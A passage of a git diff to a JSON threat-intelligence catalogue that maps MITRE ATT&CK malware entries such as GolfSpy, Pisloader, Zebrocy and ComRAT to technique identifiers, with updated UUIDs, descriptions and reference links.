+17019,6 @@ ], "refs": [ "https://attack.mitre.org/software/S0241", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/", "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" ], "synonyms": [ @@ -15494,7 +17048,7 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15529,7 +17083,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15543,14 +17097,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15564,7 +17118,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15674,21 +17228,21 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15716,7 +17270,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15726,6 +17280,152 @@ "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86", "value": "StreamEx - S0142" }, + { + "description": "[GolfSpy](https://attack.mitre.org/software/S0421) is Android spyware deployed by the group [Bouncing Golf](https://attack.mitre.org/groups/G0097).(Citation: Trend Micro Bouncing Golf 2019)", + "meta": { + "external_id": "S0421", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0421", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/" + ], + "synonyms": [ + "GolfSpy" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", + "value": "GolfSpy - S0421" + }, { "description": "[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)", "meta": { @@ -15743,21 +17443,21 @@ }, "related": [ { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15771,7 +17471,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15849,21 +17549,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15877,7 +17577,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15898,7 +17598,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15912,7 +17612,7 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15926,35 +17626,35 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15975,7 +17675,7 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16003,7 +17703,7 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16017,7 +17717,21 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16072,7 +17786,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16113,7 +17827,7 @@ "type": "similar" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16134,7 +17848,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16192,7 +17906,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16206,21 +17920,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16234,7 +17948,7 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16248,14 +17962,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16297,7 +18011,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16311,7 +18025,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16332,7 +18046,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16353,7 +18067,7 @@ "type": "uses" }, { - "dest-uuid": "b8c5c9dd-a662-479d-9428-ae745872537c", + "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16374,7 +18088,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16386,6 +18100,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", @@ -16427,7 +18155,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16441,14 +18169,14 @@ "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16497,14 +18225,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16532,14 +18260,14 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16553,7 +18281,7 @@ "type": "uses" }, { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16567,14 +18295,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16602,14 +18330,14 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16621,13 +18349,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a4f57468-fbd5-49e4-8476-52088220b92d", "value": "Zebrocy - S0251" }, { - "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)", "meta": { "external_id": "S0126", "mitre_platforms": [ @@ -16635,8 +18370,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0126", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", - "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1", + "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf" ], "synonyms": [ "ComRAT" @@ -16665,14 +18401,126 @@ "type": "similar" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16713,7 +18561,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16775,7 +18623,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16796,21 +18644,21 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16880,28 +18728,21 @@ "type": "similar" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16915,7 +18756,7 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16927,6 +18768,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f108215f-3487-489d-be8b-80e346d32518", @@ -16956,7 +18804,7 @@ "type": "similar" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16977,28 +18825,28 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17012,7 +18860,7 @@ "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17026,21 +18874,21 @@ "type": "uses" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17054,7 +18902,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17095,7 +18943,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17109,14 +18957,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + 